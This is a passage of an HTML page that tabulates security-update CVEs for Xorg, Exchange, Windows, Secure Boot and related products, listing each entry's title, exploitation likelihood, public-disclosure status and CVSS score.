syncchangecounter()</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50256">CVE-2026-50256</a></td><td><p>Xorg-x11-server: xorg-x11-server-xwayland: xorg-x11-server: stack buffer overflow in font alias resolution due to libxfont2 name length mismatch</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50262">CVE-2026-50262</a></td><td><p>Xorg-x11-server: xorg-x11-server-xwayland: xorg-x11-server: out-of-bounds read/write in glx changedrawableattributes</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50260">CVE-2026-50260</a></td><td><p>Xorg-x11-server: xorg-x11-server-xwayland: xorg-x11-server: use-after-free in freecounter()</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>6.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50259">CVE-2026-50259</a></td><td><p>Xorg-x11-server: xorg-x11-server-xwayland: xorg-x11-server: stack buffer overflow in xkb setmap request via mapwidths indexing</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50257">CVE-2026-50257</a></td><td><p>Xorg-x11-server: xorg-x11-server-xwayland: xorg-x11-server: use-after-free in misyncdestroyfence()</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>6.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50258">CVE-2026-50258</a></td><td><p>Xorg-x11-server: xorg-x11-server-xwayland: xorg-x11-server: stack buffer overflow in xkb key types due to unchecked shift levels</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50263">CVE-2026-50263</a></td><td><p>Xorg-x11-server: xorg-x11-server-xwayland: xorg-x11-server: use-after-free information disclosure in createsaverwindow()</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>5.5</p></td></tr></tbody></table><p></p><p></p><h3>Other vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45476">CVE-2026-45476</a></td><td><p>Microsoft Azure Network Adapter Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.2</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-26142">CVE-2026-26142</a></td><td><p>Nuance PowerScribe Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr></tbody></table><h3>Server Software vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45504">CVE-2026-45504</a></td><td><p>Microsoft Exchange Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45502">CVE-2026-45502</a></td><td><p>Microsoft Exchange Server Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45503">CVE-2026-45503</a></td><td><p>Microsoft Exchange Server Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45583">CVE-2026-45583</a></td><td><p>Microsoft Exchange Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45500">CVE-2026-45500</a></td><td><p>Microsoft Exchange Server Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45501">CVE-2026-45501</a></td><td><p>Microsoft Exchange Server Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47631">CVE-2026-47631</a></td><td><p>Microsoft Exchange Server Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr></tbody></table><h3>System Center vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45647">CVE-2026-45647</a></td><td><p>Microsoft Defender for Endpoint for Mac Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr></tbody></table><h3>Windows vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2025-10263">CVE-2025-10263</a></td><td><p>ARM: CVE-2025-10263 Completion of affected memory accesses might not be guaranteed by completion of a TLBI [kernel]</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-44815">CVE-2026-44815</a></td><td><p>DHCP Client Service Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49160">CVE-2026-49160</a></td><td><p>HTTP.sys Denial of Service Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>Yes</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47291">CVE-2026-47291</a></td><td><p>HTTP.sys Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45642">CVE-2026-45642</a></td><td><p>Microsoft Azure Attestation service and Device Health Attestation Service Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>3.9</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-44810">CVE-2026-44810</a></td><td><p>Microsoft Cryptographic Services Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45637">CVE-2026-45637</a></td><td><p>Microsoft DWM Core Library Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42986">CVE-2026-42986</a></td><td><p>Microsoft Graphics Component Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-41092">CVE-2026-41092</a></td><td><p>Microsoft Kinect Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45606">CVE-2026-45606</a></td><td><p>Microsoft UxTheme Library (uxtheme.dll) Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42980">CVE-2026-42980</a></td><td><p>NT OS Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42916">CVE-2026-42916</a></td><td><p>NT OS Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47289">CVE-2026-47289</a></td><td><p>Remote Desktop Client Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47653">CVE-2026-47653</a></td><td><p>Remote Desktop Client Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47654">CVE-2026-47654</a></td><td><p>Remote Desktop Client Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-48563">CVE-2026-48563</a></td><td><p>Remote Desktop Client Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42909">CVE-2026-42909</a></td><td><p>Remote Desktop Client Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42913">CVE-2026-42913</a></td><td><p>Remote Desktop Client Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42992">CVE-2026-42992</a></td><td><p>Remote Desktop Client Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-44799">CVE-2026-44799</a></td><td><p>Remote Desktop Client Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-44801">CVE-2026-44801</a></td><td><p>Remote Desktop Client Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42985">CVE-2026-42985</a></td><td><p>Remote Desktop Client Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42993">CVE-2026-42993</a></td><td><p>Remote Desktop Client Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45588">CVE-2026-45588</a></td><td><p>Secure Boot Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.9</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-48568">CVE-2026-48568</a></td><td><p>Secure Boot Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.9</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-48570">CVE-2026-48570</a></td><td><p>Secure Boot Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.9</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-48573">CVE-2026-48573</a></td><td><p>Secure Boot Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.9</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-48575">CVE-2026-48575</a></td><td><p>Secure Boot Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.9</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-48576">CVE-2026-48576</a></td><td><p>Secure Boot Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.9</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-48578">CVE-2026-48578</a></td><td><p>Secure Boot Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.9</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45654">CVE-2026-45654</a></td><td><p>Secure Boot Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.9</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45656">CVE-2026-45656</a></td><td><p>UEFI Secure Boot Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-8863">CVE-2026-8863</a></td><td><p>UEFI Secure Boot Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45648">CVE-2026-45648</a></td><td><p>Windows Active Directory Domain Services Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42829">CVE-2026-42829</a></td><td><p>Windows Administrator Protection Secure Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-34335">CVE-2026-34335</a></td><td><p>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45601">CVE-2026-45601</a></td><td><p>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45598">CVE-2026-45598</a></td><td><p>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45596">CVE-2026-45596</a></td><td><p>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45638">CVE-2026-45638</a></td><td><p>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45603">CVE-2026-45603</a></td><td><p>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42911">CVE-2026-42911</a></td><td><p>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45594">CVE-2026-45594</a></td><td><p>Windows Application Identity (AppID) Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45655">CVE-2026-45655</a></td><td><p>Windows BitLocker Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45658">CVE-2026-45658</a></td><td><p>Windows BitLocker Security Feature Bypass Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50507">CVE-2026-50507</a></td><td><p>Windows BitLocker Security Feature Bypass Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>Yes</p></td><td><p>6.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45640">CVE-2026-45640</a></td><td><p>Windows Bluetooth Port Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45605">CVE-2026-45605</a></td><td><p>Windows Bluetooth Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47656">CVE-2026-47656</a></td><td><p>Windows Boot Manager Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.9</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45586">CVE-2026-45586</a></td><td><p>Windows Collaborative Translation Framework (CTFMON) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>Yes</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-44809">CVE-2026-44809</a></td><td><p>Windows Common Log File System Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42987">CVE-2026-42987</a></td><td><p>Windows Deployment Services (WDS) Remote Code Execution</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-33828">CVE-2026-33828</a></td><td><p>Windows Device Health Attestation (DHA) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45634">CVE-2026-45634</a></td><td><p>Windows DHCP Client Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45608">CVE-2026-45608</a></td><td><p>Windows DHCP Client Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-41108">CVE-2026-41108</a></td><td><p>Windows DNS Client Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42905">CVE-2026-42905</a></td><td><p>Windows DWM Core Library Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-44811">CVE-2026-44811</a></td><td><p>Windows DWM Core Library Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-44808">CVE-2026-44808</a></td><td><p>Windows DWM Core Library Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-44807">CVE-2026-44807</a></td><td><p>Windows DWM Core Library Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42983">CVE-2026-42983</a></td><td><p>Windows DWM Core Library Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-44802">CVE-2026-44802</a></td><td><p>Windows DWM Core Library Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-44813">CVE-2026-44813</a></td><td><p>Windows DWM Core Library Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-44804">CVE-2026-44804</a></td><td><p>Windows DWM Core Library Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-48566">CVE-2026-48566</a></td><td><p>Windows DWM Core Library Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-44814">CVE-2026-44814</a></td><td><p>Windows DWM Core Library Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45602">CVE-2026-45602</a></td><td><p>Windows Dynamic Host Configuration Protocol (DHCP) Tampering Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42836">CVE-2026-42836</a></td><td><p>Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-44803">CVE-2026-44803</a></td><td><p>Windows Graphics Component Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-44812">CVE-2026-44812</a></td><td><p>Windows Graphics Component Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42910">CVE-2026-42910</a></td><td><p>Windows Hotpatch Monitoring Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42972">CVE-2026-42972</a></td><td><p>Windows Hyper-V Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45607">CVE-2026-45607</a></td><td><p>Windows Hyper-V Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45641">CVE-2026-45641</a></td><td><p>Windows Hyper-V Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47652">CVE-2026-47652</a></td><td><p>Windows Hyper-V Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.2</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45592">CVE-2026-45592</a></td><td><p>Windows Internet (wininet.dll) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42903">CVE-2026-42903</a></td><td><p>Windows Kerberos Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42914">CVE-2026-42914</a></td><td><p>Windows Kerberos Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47288">CVE-2026-47288</a></td><td><p>Windows Kerberos Key Distribution Center (KDC) Remote Code Execution</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-48583">CVE-2026-48583</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45653">CVE-2026-45653</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42984">CVE-2026-42984</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45657">CVE-2026-45657</a></td><td><p>Windows Kernel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45600">CVE-2026-45600</a></td><td><p>Windows Kernel-Mode Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45604">CVE-2026-45604</a></td><td><p>Windows Managed Installer Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45595">CVE-2026-45595</a></td><td><p>Windows Mark of the Web Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-48574">CVE-2026-48574</a></td><td><p>Windows Media Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-48565">CVE-2026-48565</a></td><td><p>Windows Narrator Braille Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a 